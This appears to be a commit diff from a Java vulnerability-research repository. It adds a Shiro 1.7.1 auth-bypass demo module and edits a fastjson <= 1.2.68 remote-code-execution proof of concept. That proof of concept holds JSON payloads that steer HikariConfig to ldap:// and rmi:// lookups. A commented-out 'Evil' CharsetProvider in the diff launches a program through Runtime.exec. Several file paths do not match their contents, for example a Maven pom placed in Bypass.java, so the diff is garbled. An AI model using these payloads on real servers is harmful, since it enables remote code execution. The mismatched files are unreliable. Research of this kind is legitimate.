添加shiro 1.7.1 auth bypass

Author: threedr3am

fastjson/pom.xml

@@ -171,5 +171,19 @@
       <artifactId>ignite-jta</artifactId>
       <version>2.8.0</version>
     </dependency>
+
+    <dependency>
+      <groupId>mysql</groupId>
+      <artifactId>mysql-connector-java</artifactId>
+      <version>8.0.14</version>
+    </dependency>
+
+    <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
+    <dependency>
+      <groupId>commons-io</groupId>
+      <artifactId>commons-io</artifactId>
+      <version>2.7</version>
+    </dependency>
+
   </dependencies>
 </project>

fastjson/src/main/java/Evil.java

@@ -0,0 +1,27 @@
+//import java.io.IOException;
+//import java.nio.charset.Charset;
+//import java.util.HashSet;
+//import java.util.Iterator;
+//
+///**
+// * @author threedr3am
+// */
+//public class Evil extends java.nio.charset.spi.CharsetProvider {
+//
+//    @Override
+//    public Iterator<Charset> charsets() {
+//        return new HashSet<Charset>().iterator();
+//    }
+//
+//    @Override
+//    public Charset charsetForName(String charsetName) {
+//        if (charsetName.startsWith("Evil")) {
+//            try {
+//                Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
+//            } catch (IOException e) {
+//                e.printStackTrace();
+//            }
+//        }
+//        return Charset.forName("UTF-8");
+//    }
+//}

fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/HadoopHikariPoc.java

@@ -3,6 +3,7 @@
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.parser.ParserConfig;
 import com.threedr3am.bug.common.server.LdapServer;
+import com.threedr3am.bug.common.server.RmiServer;
 
 /**
  * fastjson <= 1.2.68 RCE，需要开启AutoType (report by threedr3am to ASRC)
@@ -27,8 +28,8 @@ public class HadoopHikariPoc {
   public static void main(String[] args) {
     ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
 
-    String payload = "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:43658/Calc\"}";
-    String payload2 = "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:43658/Calc\"}";
+//    String payload = "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://localhost:43657/Calc\"}";
+    String payload = "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:43658/Calc\"}";
     JSON.parse(payload);
   }
 }

fastjson/src/main/java/com/threedr3am/bug/fastjson/test/A.java

@@ -27,6 +27,7 @@
     <module>nexus</module>
     <module>apache-poi</module>
     <module>java-compile</module>
+      <module>auth-bypass(shiro=1.7.1)</module>
   </modules>
 
   <name>learn-java-bug</name>

fastjson/src/main/java/com/threedr3am/bug/fastjson/test/Bypass.java

@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <groupId>org.springframework.boot</groupId>
+        <artifactId>spring-boot-starter-parent</artifactId>
+        <version>1.5.22.RELEASE</version>
+        <relativePath/>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>auth-bypass(shiro=1.7.1)</artifactId>
+
+    <properties>
+        <maven.compiler.source>8</maven.compiler.source>
+        <maven.compiler.target>8</maven.compiler.target>
+    </properties>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-web</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.shiro</groupId>
+            <artifactId>shiro-web</artifactId>
+            <version>1.7.1</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.shiro</groupId>
+            <artifactId>shiro-spring</artifactId>
+            <version>1.7.1</version>
+        </dependency>
+    </dependencies>
+
+</project>

fastjson/src/main/java/com/threedr3am/bug/fastjson/test/Test.java

@@ -0,0 +1,13 @@
+package me.threedr3am.bug.shiro.bypass.auth;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class Application {
+
+    public static void main(String[] args) {
+        SpringApplication.run(Application.class, args);
+    }
+
+}